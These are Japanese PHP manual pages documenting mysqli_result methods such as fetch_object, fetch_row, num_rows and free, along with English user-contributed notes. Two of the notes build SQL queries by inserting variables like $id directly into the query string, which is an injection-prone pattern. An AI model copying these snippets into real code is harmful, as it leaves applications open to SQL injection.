Flags:     20489

参考

  • mysqli_num_fields() - 結果のフィールド数を取得する
  • mysqli_fetch_field_direct() - 単一のフィールドのメタデータを取得する
  • mysqli_fetch_field() - 結果セットの次のフィールドを返す

User Contributed Notes

attand at gmail dot com 27-Feb-2018 11:15
The nax_length gives counts in bytes. So if the text is utf-8, then we get incorrect result.

We have a code snippet where we check if the maximum length of the field and the max length of data stored becomes equal. This way we can check the potential truncation of data inserted
mccharles dot craven at dot dot gov 14-Oct-2016 12:23
Those wanting to map the 'type' field in this function for use in mysqli_stmt_bind_param or to cannibalize it for their own mapping may find this function useful.

function map_field_type_to_bind_type($field_type)
{
    switch ($field_type)
    {
    case MYSQLI_TYPE_DECIMAL:
    case MYSQLI_TYPE_NEWDECIMAL:
    case MYSQLI_TYPE_FLOAT:
    case MYSQLI_TYPE_DOUBLE:
        return 'd';

    case MYSQLI_TYPE_BIT:
    case MYSQLI_TYPE_TINY:
    case MYSQLI_TYPE_SHORT:
    case MYSQLI_TYPE_LONG:
    case MYSQLI_TYPE_LONGLONG:
    case MYSQLI_TYPE_INT24:
    case MYSQLI_TYPE_YEAR:
    case MYSQLI_TYPE_ENUM:
        return 'i';

    case MYSQLI_TYPE_TIMESTAMP:
    case MYSQLI_TYPE_DATE:
    case MYSQLI_TYPE_TIME:
    case MYSQLI_TYPE_DATETIME:
    case MYSQLI_TYPE_NEWDATE:
    case MYSQLI_TYPE_INTERVAL:
    case MYSQLI_TYPE_SET:
    case MYSQLI_TYPE_VAR_STRING:
    case MYSQLI_TYPE_STRING:
    case MYSQLI_TYPE_CHAR:
    case MYSQLI_TYPE_GEOMETRY:
        return 's';

    case MYSQLI_TYPE_TINY_BLOB:
    case MYSQLI_TYPE_MEDIUM_BLOB:
    case MYSQLI_TYPE_LONG_BLOB:
    case MYSQLI_TYPE_BLOB:
        return 'b';

    default:
        trigger_error("unknown type: $field_type");
        return 's';
    }
}
cz dot paranoiq at gmail dot com 21-Feb-2015 09:39
complete list of flags from MySQL source code:

NOT_NULL_FLAG   1       /* Field can't be NULL */
PRI_KEY_FLAG    2       /* Field is part of a primary key */
UNIQUE_KEY_FLAG 4       /* Field is part of a unique key */
MULTIPLE_KEY_FLAG 8     /* Field is part of a key */
BLOB_FLAG   16      /* Field is a blob */
UNSIGNED_FLAG   32      /* Field is unsigned */
ZEROFILL_FLAG   64      /* Field is zerofill */
BINARY_FLAG 128     /* Field is binary   */
ENUM_FLAG   256     /* field is an enum */
AUTO_INCREMENT_FLAG 512     /* field is a autoincrement field */
TIMESTAMP_FLAG  1024        /* Field is a timestamp */
SET_FLAG    2048        /* field is a set */
NO_DEFAULT_VALUE_FLAG 4096  /* Field doesn't have default value */
ON_UPDATE_NOW_FLAG 8192         /* Field is set to NOW on UPDATE */
NUM_FLAG    32768       /* Field is num (for clients) */
PART_KEY_FLAG   16384       /* Intern; Part of some key */
GROUP_FLAG  32768       /* Intern: Group field */
UNIQUE_FLAG 65536       /* Intern: Used by sql_yacc */
BINCMP_FLAG 131072      /* Intern: Used by sql_yacc */
GET_FIXED_FIELDS_FLAG (1 << 18) /* Used to get fields in item tree */
FIELD_IN_PART_FUNC_FLAG (1 << 19)/* Field part of partition func */
andre at koethur dot de 20-Apr-2014 07:55
Here are two methods for converting the 'type' and 'flags' attributes to text for debugging purposes. They both use the predefined MYSQLI_ constants to generate the text.

<?php

public static function h_type2txt($type_id)
{
    static $types;

    if (!isset($types))
    {
        $types = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/^MYSQLI_TYPE_(.*)/', $c, $m)) $types[$n] = $m[1];
    }

    return array_key_exists($type_id, $types)? $types[$type_id] : NULL;
}

public static function h_flags2txt($flags_num)
{
    static $flags;

    if (!isset($flags))
    {
        $flags = array();
        $constants = get_defined_constants(true);
        foreach ($constants['mysqli'] as $c => $n) if (preg_match('/MYSQLI_(.*)_FLAG$/', $c, $m)) if (!array_key_exists($n, $flags)) $flags[$n] = $m[1];
    }

    $result = array();
    foreach ($flags as $n => $t) if ($flags_num & $n) $result[] = $t;
    return implode(' ', $result);
}

?>
educarme at adinet dot com dot uy 20-Dec-2013 01:16
Codigos de tipos de datos devueltos por fetch_fields()

Nombre        Codigo
tinyint_    1
boolean_    1
smallint_    2
int_        3
float_        4
double_        5
real_        5
timestamp_    7
bigint_        8
serial        8
mediumint_    9
date_        10
time_        11
datetime_    12
year_        13
bit_        16
decimal_    246
text_        252
tinytext_    252
mediumtext_    252
longtext_    252
tinyblob_    252
mediumblob_    252
blob_        252
longblob_    252
varchar_    253
varbinary_    253
char_        254
binary_        254
AndrewRoz 12-Jan-2011 08:18
The field info bit-flags used by MySql are:
 (Thanks to ragtag at hotmail dot com)
<?php
/*
       NOT_NULL_FLAG = 1
       PRI_KEY_FLAG = 2
       UNIQUE_KEY_FLAG = 4
       BLOB_FLAG = 16
       UNSIGNED_FLAG = 32
       ZEROFILL_FLAG = 64
       BINARY_FLAG = 128
       ENUM_FLAG = 256
       AUTO_INCREMENT_FLAG = 512
       TIMESTAMP_FLAG = 1024
       SET_FLAG = 2048
       NUM_FLAG = 32768
       PART_KEY_FLAG = 16384
       GROUP_FLAG = 32768
       UNIQUE_FLAG = 65536
*/

// To test if a flag is set you can use & like so:

  $meta = $mysqli_result_object->fetch_field();
  if ($meta->flags & 4) {
     echo 'Unique key flag is set';
  }
?>


結果セットの現在の行をオブジェクトとして返す

  • ≪ mysqli_result::fetch_fields
  • mysqli_result::fetch_row ≫
  • PHP Manual
  • mysqli_result
  • 結果セットの現在の行をオブジェクトとして返す

mysqli_result::fetch_object

mysqli_fetch_object

(PHP 5, PHP 7)

mysqli_result::fetch_object -- mysqli_fetch_object — 結果セットの現在の行をオブジェクトとして返す

説明

オブジェクト指向型

public mysqli_result::fetch_object ( string $class_name = "stdClass" , array $params = ? ) : object

手続き型

mysqli_fetch_object ( mysqli_result $result , string $class_name = "stdClass" , array $params = ? ) : object

結果セットの現在の行をオブジェクトで返します。 このオブジェクトは、結果セットのフィールド名を属性として持ちます。

注意: この関数がオブジェクトのプロパティを設定するのは、 オブジェクトのコンストラクタをコールする前であることに注意しましょう。

注意: この関数により返されるフィー ルド名は 大文字小文字を区別 します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

class_name

インスタンス化してプロパティを設定後に返すクラスの名前。 省略した場合は stdClass オブジェクトを返します。

params

オプションのパラメータの配列で、 class_name オブジェクトのコンストラクタに渡します。

返り値

取得した行に対応するオブジェクトを返します。 結果セットにもう行がない場合には null を返します。

例

例1 mysqli_result::fetch_object() の例

オブジェクト指向型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* オブジェクトの配列を取得します */
while ($obj = $result->fetch_object()) {
    printf("%s (%s)\n", $obj->Name, $obj->CountryCode);
}

手続き型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($link, $query);

/* 連想配列を取得します */
while ($obj = mysqli_fetch_object($result)) {
    printf("%s (%s)\n", $obj->Name, $obj->CountryCode);
}

上の例の出力は、 たとえば以下のようになります。

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

参考

  • mysqli_fetch_array() - 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する
  • mysqli_fetch_assoc() - 結果の行を連想配列で取得する
  • mysqli_fetch_row() - 結果の行を数値添字配列で取得する
  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_data_seek() - 結果の任意の行にポインタを移動する

User Contributed Notes

fedge-no at hotmail dot calm 15-Nov-2016 07:48
I checked the bug database and as long as your PHP installation is up to date, the order of setting properties and calling the constructor should now follow the order specified in the documentation. There was a little while that a patch had been introduced where it was happening the other way around but that has been fixed now.
macole at paypal dot com 30-Jun-2016 02:56
Note that if you supply a class that has a __set() magic method defined in it, that method will be called for any properties that are not defined in your class.  For example:

<?php

class SomeClass {
    private $id;
    public $partner_name;
    public function __set( $name, $value ) {
        echo "__set was called!  Name = $name\n";
        $this->$name = $value;
    }
}

$db = new mysqli( 'localhost', 'Username', 'Password', 'DbName' );
$result = $db->query( 'SELECT id, partner_name, partner_type FROM submissions' );
$object = $result->fetch_object( 'SomeClass' );

?>

Produces the following output:

__set was called!  Name = partner_type
neo22s at gmail dot com 08-May-2016 08:04
Since 5.6.21 and PHP 7.0.6

mysqli_fetch_object() sets the properties of the object AFTER calling the object constructor. Not BEFORE as was in previous versions.

So behaviour has changed. Seems a bug but not sure if was done intentionally.

https://bugs.php.net/bug.php?id=72151
object-array at gmail dot com 17-Feb-2016 08:56
Please mind the difference between objects and arrays in PHP>=5: arrays are by value while objects are by reference.

<?
$o = mysqli_fetch_object($res);
$o1 = $o;
$o1->value = 10;

$a = mysqli_fetch_array($res);
$a1 = $a;
$a1['value'] = 10;

echo $o->value; // 10
echo $a['value']; // (original value from db)
?>

Should same behaviour be intended, the object needs to be cloned:

<?
$o1 = clone $o;
?>

More about object cloning:
http://php.net/manual/en/language.oop5.cloning.php
me at philkershaw dot me 28-Mar-2014 05:02
As a best practice, if you intend to use a defined class when using fetching_object(). Put the data obtaining code within a static method of the defined class. Otherwise, wherever you include the file (if not using an autoloader) the data connection will occur whether you want it to or not.

For example:

<?php

class User
{
    public $name;

    public static function getUser($id)
    {
        $conn = new mysqli('localhost', 'username', 'password', 'database');
        if ($result = $conn->query("SELECT * FROM users WHERE id = {$id} LIMIT 1")) {
            return $result->fetch_object('User');
            $result->close();
        }
    }
}
?>

Call the static method to obtain an instance of the User class with your data applied to it.

<?php
$user = User::getUser('31');
echo $user->name; // echo's 'Phil'
?>
Driek 26-Jun-2012 05:18
As indicated in the user comments of the mysql_fetch_object, it is important to realize that class fields get values assigned to them BEFORE the constructor is called.
For example;
<?php

class Employee
{
  private $id;

  public function __construct($id = 0)
  {
    $this->id = $id;
  }
}

// some code for creating a database connection... i.e. mysqli object
....
$result = $con->query("select id, name from employees");
$anEmployee = $result->fetch_object("Employee");
?>
will result in the ID being 0 because it is overridden by the constructor. Therefore, it is useful to check if the class field is already set.
I.e.
<?php
class Employee
{
  private $id;

  public function __construct($id = 0)
  {
    if (!$this->id)
    {
       $this->id = $id
    }
  }
}
?>
Also note that the fields which will be assigned by fetch_object are case sensitive. If your table has the field "ID", it will result in the class field $ID being set. A simple work-around is to use aliases. I.e. "SELECT *, ID as id FROM myTable"
I hope this helps some people.
Alex 27-Jan-2012 04:36
Make sure to specify the full namespace for the "string $class_name" parameter and not a partial one, as it won't find it. For example:

<?php

namespace Root(backslash)FirstLevel
{
    public static function Test($result)
    {
        return mysqli_fetch_object($result, 'SecondLevel\\MyClass');
    }
}

?>

... will not work but this will:

<?php

namespace Root(backslash)FirstLevel
{
    public static function Test($result)
    {
        return mysqli_fetch_object($result, 'Root\\FirstLevel\\SecondLevel\\MyClass');
    }
}

?>
benpptung at tacol dot biz 08-Aug-2009 08:04
I don't know why no one talk about this.
fetch_object is very powerful since you can instantiate an Object which has the methods you wanna have.

You can try like this..

<?php
class PowerfulVO extends AbstractWhatEver {

    public $field1;
    private $field2; // note : private is ok

    public function method(){
       // method in this class
    }
}

     $sql = "SELECT * FROM table ..."
     $mysqli = new mysqli(........);
     $result = $mysqli->query($sql);
     $vo = $result->fetch_object('PowerfulVO');
?>

Note : if the field is not defined in the class, fetch_object will add this field for you as public.

The method is very powerful, especially if you want to use a VO design pattern or class mapping feature with Flex Remoting Object( Of course, you need to have ZendAMF or AMFPHP ..framework)

Hope this help and open new possibilities for you
peterbelm at g[oogle]mail dot com 18-Aug-2008 07:10
If your SQL code selects columns with empty names like so:

SELECT id as ``...

You will get a fatal error "Cannot access empty property", this took me a while to track down!

Obviously your SQL really shouldn't do that, and should be fixed but I'm going to submit a feature request to ask for a better error message for that.


結果の行を数値添字配列で取得する

  • ≪ mysqli_result::fetch_object
  • mysqli_result::$field_count ≫
  • PHP Manual
  • mysqli_result
  • 結果の行を数値添字配列で取得する

mysqli_result::fetch_row

mysqli_fetch_row

(PHP 5, PHP 7)

mysqli_result::fetch_row -- mysqli_fetch_row — 結果の行を数値添字配列で取得する

説明

オブジェクト指向型

public mysqli_result::fetch_row ( ) : mixed

手続き型

mysqli_fetch_row ( mysqli_result $result ) : mixed

結果セットからデータを 1 行取得し、それを数値添字の配列で 返します。各カラムは 0（ゼロ）から始まる添字に格納されます。 mysqli_fetch_row() 関数を続けてコールすると、 結果セットの次の行を返します。もう行がない場合には null を返します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

mysqli_fetch_row() は取得した行に対応する値の配列を 返します。もう行がない場合には null を返します。

例

例1 mysqli_result::fetch_row() の例

オブジェクト指向型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* オブジェクトの配列を取得します */
while ($row = $result->fetch_row()) {
    printf("%s (%s)\n", $row[0], $row[1]);
}

手続き型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($mysqli, $query);

/* 連想配列を取得します */
while ($row = mysqli_fetch_row($result)) {
    printf("%s (%s)\n", $row[0], $row[1]);
}

上の例の出力は、 たとえば以下のようになります。

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

参考

  • mysqli_fetch_array() - 結果の行を連想配列・数値添字配列あるいはその両方の形式で取得する
  • mysqli_fetch_assoc() - 結果の行を連想配列で取得する
  • mysqli_fetch_object() - 結果セットの現在の行をオブジェクトとして返す
  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_data_seek() - 結果の任意の行にポインタを移動する

User Contributed Notes

sainthyoga2003 at gmail dot com 17-Mar-2014 03:35
Note that mysqli_fetch() is deprecated but still is in PHP function list. mysqli_fetch_row() is nowadays mysql procedural style used, but is not listed in PHP functions.
evangun2001 at yahoo dot fr 16-Sep-2007 02:24
Remember that fetch() and fetch_row() are two different things, and differ in the way to use them.

- fetch() is used on a statement (like an executed prepared statement) and needs to be used in association with bind_result().

- fetch_row() is used on a result (like the result of query()).

As a consequence, if you want to use to use fetch_row() with an executed prepared statement, first you'll have to get the result out of this statement with mysqli_store_result() or mysqli_use_result().
Stephen 23-Jan-2007 02:29
It's worth noting that the MySQLi functions (and, I presume, the MySQL functions) fetch a string regardless of the MySQL data type. E.g. if you fetch a row with an integer column, the corresponding value for that column and row will still be stored as a string in the array returned by mysql_fetch_row.
maillist at pnpitalia.it 06-Jan-2004 10:01
from "README.PHP4-TO-PHP5-THIN-CHANGES"

4. Be careful when porting from ext/mysql to ext/mysqli. The following
   functions return NULL when no more data is available in the result set
   (ext/mysql's functions return FALSE).

    - mysqli_fetch_row()
    - mysqli_fetch_array()
    - mysqli_fetch_assoc()


結果のフィールド数を取得する

  • ≪ mysqli_result::fetch_row
  • mysqli_result::field_seek ≫
  • PHP Manual
  • mysqli_result
  • 結果のフィールド数を取得する

mysqli_result::$field_count

mysqli_num_fields

(PHP 5, PHP 7)

mysqli_result::$field_count -- mysqli_num_fields — 結果のフィールド数を取得する

説明

オブジェクト指向型

int $mysqli_result->field_count;

手続き型

mysqli_num_fields ( mysqli_result $result ) : int

指定した結果セットからフィールドの数を返します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

結果セットのフィールド数を返します。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = $mysqli->query("SELECT * FROM City ORDER BY ID LIMIT 1")) {

    /* 結果セットのフィールド数を取得します */
    $field_cnt = $result->field_count;

    printf("Result set has %d fields.\n", $field_cnt);

    /* 結果セットを閉じます */
    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = mysqli_query($link, "SELECT * FROM City ORDER BY ID LIMIT 1")) {

    /* 結果セットのフィールド数を取得します */
    $field_cnt = mysqli_num_fields($result);

    printf("Result set has %d fields.\n", $field_cnt);

    /* 結果セットを閉じます */
    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Result set has 5 fields.

参考

  • mysqli_fetch_field() - 結果セットの次のフィールドを返す

User Contributed Notes

There are no user contributed notes for this page.


結果ポインタを、指定したフィールドオフセットに設定する

  • ≪ mysqli_result::$field_count
  • mysqli_result::free ≫
  • PHP Manual
  • mysqli_result
  • 結果ポインタを、指定したフィールドオフセットに設定する

mysqli_result::field_seek

mysqli_field_seek

(PHP 5, PHP 7)

mysqli_result::field_seek -- mysqli_field_seek — 結果ポインタを、指定したフィールドオフセットに設定する

説明

オブジェクト指向型

public mysqli_result::field_seek ( int $fieldnr ) : bool

手続き型

mysqli_field_seek ( mysqli_result $result , int $fieldnr ) : bool

フィールドカーソルを指定したオフセットに設定します。 mysqli_fetch_field() を次にコールした際に、 設定したオフセットに関連するカラムのフィールド定義を取得します。

注意:

行のはじめに移動するには、オフセットとしてゼロを指定します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

fieldnr

フィールド番号。これは 0 から フィールド数 - 1 までの範囲でなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* 2 番目のカラムのフィールド情報を取得します */
    $result->field_seek(1);
    $finfo = $result->fetch_field();

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n\n", $finfo->type);

    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* 2 番目のカラムのフィールド情報を取得します */
    mysqli_field_seek($result, 1);
    $finfo = mysqli_fetch_field($result);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n\n", $finfo->type);

    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

参考

  • mysqli_fetch_field() - 結果セットの次のフィールドを返す

User Contributed Notes

There are no user contributed notes for this page.


結果に関連付けられたメモリを開放する

  • ≪ mysqli_result::field_seek
  • mysqli_result::$lengths ≫
  • PHP Manual
  • mysqli_result
  • 結果に関連付けられたメモリを開放する

mysqli_result::free

mysqli_result::close

mysqli_result::free_result

mysqli_free_result

(PHP 5, PHP 7)

mysqli_result::free -- mysqli_result::close -- mysqli_result::free_result -- mysqli_free_result — 結果に関連付けられたメモリを開放する

説明

オブジェクト指向型

public mysqli_result::free ( ) : void
public mysqli_result::close ( ) : void
public mysqli_result::free_result ( ) : void

手続き型

mysqli_free_result ( mysqli_result $result ) : void

結果に関連付けられたメモリを開放します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

値を返しません。

参考

  • mysqli_query() - データベース上でクエリを実行する
  • mysqli_stmt_store_result() - プリペアドステートメントから結果を転送する
  • mysqli_stmt_get_result() - プリペアード・ステートメントから結果セットを取得
  • mysqli_store_result() - 直近のクエリから結果セットを転送する
  • mysqli_use_result() - 結果セットの取得を開始する

User Contributed Notes

jack_action100 at hotmail dot example dot com 20-Mar-2019 12:43
If you are STILL getting this error, even after freeing your results:
Internal SQL Bug: 2014, Commands out of sync; you can't run this command now

You may have a stored procedure in your query.   A procedure can return more than one result set, and it will always return one extra empty result set that carries some meta information on the procedure call itself, especially error information. ( source:  https://bugs.mysql.com/bug.php?id=71044 )

While calling single procedures, with one SELECT in them, using mysqli->query("CALL `stored_procedure`();"), I had to do the following to make it work between two calls:

<?php
$result->free();
$mysqli->next_result();
?>

It has no negative impact if you are not calling a stored procedure.
Vector at ionisis dot com 28-Dec-2009 05:17
If you are getting this error:
Internal SQL Bug: 2014, Commands out of sync; you can't run this command now

Then you never called mysqli_result::free(), mysqli_result::free_result(), mysqli_result::close(), or mysqli_free_result() in your script, and must call it before executing another stored procedure.
Anonymous 18-Oct-2009 03:49
Freeing the memory associated with a result means that the references returned by mysqli_fetch_object (or equivalent) are cleared. Thus if you should pass an object pointing to a database row _by reference_, every call of mysqli_free_result will discard the referenced data.


結果セットにおける現在の行のカラムの長さを返す

  • ≪ mysqli_result::free
  • mysqli_result::$num_rows ≫
  • PHP Manual
  • mysqli_result
  • 結果セットにおける現在の行のカラムの長さを返す

mysqli_result::$lengths

mysqli_fetch_lengths

(PHP 5, PHP 7)

mysqli_result::$lengths -- mysqli_fetch_lengths — 結果セットにおける現在の行のカラムの長さを返す

説明

オブジェクト指向型

array $mysqli_result->lengths;

手続き型

mysqli_fetch_lengths ( mysqli_result $result ) : array

mysqli_fetch_lengths() 関数は、result が指す結果セットの現在の行について、すべてのカラムの長さを含む 配列を返します。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

各カラムのサイズ（終端の null 文字は含みません）を表す整数の配列を 返します。エラー時には false を返します。

mysqli_fetch_lengths() は、結果セットの現在の行に ついてのみ有効です。mysqli_fetch_row/array/object をコールする前、あるいは 結果のすべての行を取得した後にこの関数をコールすると、false を返します。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = $mysqli->query($query)) {

    $row = $result->fetch_row();

    /* カラムの長さを表示します */
    foreach ($result->lengths as $i => $val) {
        printf("Field %2d has Length %2d\n", $i+1, $val);
    }
    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = mysqli_query($link, $query)) {

    $row = mysqli_fetch_row($result);

    /* カラムの長さを表示します */
    foreach (mysqli_fetch_lengths($result) as $i => $val) {
        printf("Field %2d has Length %2d\n", $i+1, $val);
    }
    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Field  1 has Length  3
Field  2 has Length  5
Field  3 has Length 13
Field  4 has Length  9
Field  5 has Length  6
Field  6 has Length  1
Field  7 has Length  6
Field  8 has Length  4
Field  9 has Length  6
Field 10 has Length  6
Field 11 has Length  5
Field 12 has Length 44
Field 13 has Length  7
Field 14 has Length  3
Field 15 has Length  2

User Contributed Notes

There are no user contributed notes for this page.


結果の行数を取得する

  • ≪ mysqli_result::$lengths
  • mysqli_driver ≫
  • PHP Manual
  • mysqli_result
  • 結果の行数を取得する

mysqli_result::$num_rows

mysqli_num_rows

(PHP 5, PHP 7)

mysqli_result::$num_rows -- mysqli_num_rows — 結果の行数を取得する

説明

オブジェクト指向型

int $mysqli_result->num_rows;

手続き型

mysqli_num_rows ( mysqli_result $result ) : int

結果セットの行数を返します。

mysqli_num_rows() が使用可能かどうかは、 結果セットをバッファに格納しているかどうかに依存します。結果セットを バッファに格納していない場合、すべての行を取得し終えるまで mysqli_num_rows() は正確な行数を返しません。

パラメータ

result

手続き型のみ: mysqli_query()、mysqli_store_result() あるいは mysqli_use_result() が返す結果セット ID。

返り値

結果セットの行数を返します。

注意:

行数が PHP_INT_MAX をこえる場合、行数は文字列で返されます。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = $mysqli->query("SELECT Code, Name FROM Country ORDER BY Name")) {

    /* 結果セットの行数を調べます */
    $row_cnt = $result->num_rows;

    printf("Result set has %d rows.\n", $row_cnt);

    /* 結果セットを閉じます */
    $result->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = mysqli_query($link, "SELECT Code, Name FROM Country ORDER BY Name")) {

    /* 結果セットの行数を調べます */
    $row_cnt = mysqli_num_rows($result);

    printf("Result set has %d rows.\n", $row_cnt);

    /* 結果セットを閉じます */
    mysqli_free_result($result);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Result set has 239 rows.

参考

  • mysqli_affected_rows() - 直前の MySQL の操作で変更された行の数を得る
  • mysqli_store_result() - 直近のクエリから結果セットを転送する
  • mysqli_use_result() - 結果セットの取得を開始する
  • mysqli_query() - データベース上でクエリを実行する

User Contributed Notes

Amos &#39;D Great 08-Sep-2017 09:11
// Create Database Connection ..

$conn = new mysqli("localhost", "root", "", "my_db");
// run a query on a table from your DB.

$sql_rec = $conn->query("select count(msisdn) from my_colum where id = '$id'");  //  Take out the Where Clause if not Needed.
           if($sql_rec == true)
       {
          echo " The Total Number of MSISDNs are " . $sql_rec->num_rows;
       }
         else
       {
          echo "Something Bad has happened, We have informed the village Elders.". $conn->connect_error();
       }
$conn->close();
Anonymous 13-Aug-2017 09:18
The method signature should be:

mixed mysqli_num_rows (mysqli_result $result)

"If the number of rows is greater than PHP_INT_MAX, the number will be returned as a string."
min0u 13-May-2017 02:56
This function doesn't work with LIMIT used jointly with SQL_CALC_FOUND_ROWS. If you want to obtain the total rows found you must do it manually, example:

<?php
public function errorList(int $limit=25,int $offset=0){
        $errorList = array();
        $result = $this->con->query("SELECT SQL_CALC_FOUND_ROWS id, erreur FROM Erreurs ORDER BY id DESC LIMIT $limit OFFSET $offset");
        while($row = $result->fetch_assoc()){
            $errorList[] = new Erreur($row);
        }
        $result->free();
        // $foundRows = $result->num_rows; // 25
        $foundRows = $this->con->query("SELECT FOUND_ROWS() as foundRows");
        $this->foundRows = $foundRows->fetch_assoc(); // 178
        return $errorList;
}
?>
justso at inbox dot ru 14-Nov-2015 09:36
in php 5.3.8 had unexpected troubles when checking for mysqli_result::$num_rows
If the result of the query is empty then var_dump of the result will be like this:
class mysqli_result#5 (5) {
  public $current_field => NULL
  public $field_count => NULL
  public $lengths => NULL
  public $num_rows => NULL
  public $type => NULL
}
but var_dump($result->num_rows) will give integer-typed zero instead of NULL:
int(0)
borisigna 07-Aug-2011 08:19
If you have problems making work this num_rows, you have to declare ->store_result() first.

<?php
$mysqli = new mysqli("localhost","root", "", "tables");

$query = $mysqli->prepare("SELECT * FROM table1");
$query->execute();
$query->store_result();

$rows = $query->num_rows;

echo $rows;

// Return 4 for example
?>


mysqli_driver クラス

(PHP 5, PHP 7)

はじめに

mysqli_driver クラスは、monostate パターンのインスタンスです。 つまり、任意の数の mysqli_driver インスタンスからアクセスできるドライバはたったひとつということです。

クラス概要

mysqli_driver {
/* プロパティ */
public readonly string $client_info ;
public readonly string $client_version ;
public readonly string $driver_version ;
public readonly bool $embedded ;
public bool $reconnect ;
public int $report_mode ;
/* メソッド */
public embedded_server_end ( ) : void
public embedded_server_start ( int $start , array $arguments , array $groups ) : bool
}

プロパティ

client_info

クライアント API ヘッダのバージョン

client_version

クライアントのバージョン

driver_version

MySQLi ドライバのバージョン

embedded

MySQLi Embedded のサポートが有効かどうか

reconnect

再接続を許可するかどうか (INI 設定 mysqli.reconnect を参照ください)

report_mode

MYSQLI_REPORT_OFF、 MYSQLI_REPORT_ALL あるいは以下の MYSQLI_REPORT_STRICT (エラー時に例外をスローする)、 MYSQLI_REPORT_ERROR (エラーを報告する) および MYSQLI_REPORT_INDEX (インデックス関連のエラーを報告する) の組み合わせを設定します。 mysqli_report() も参照ください。

目次

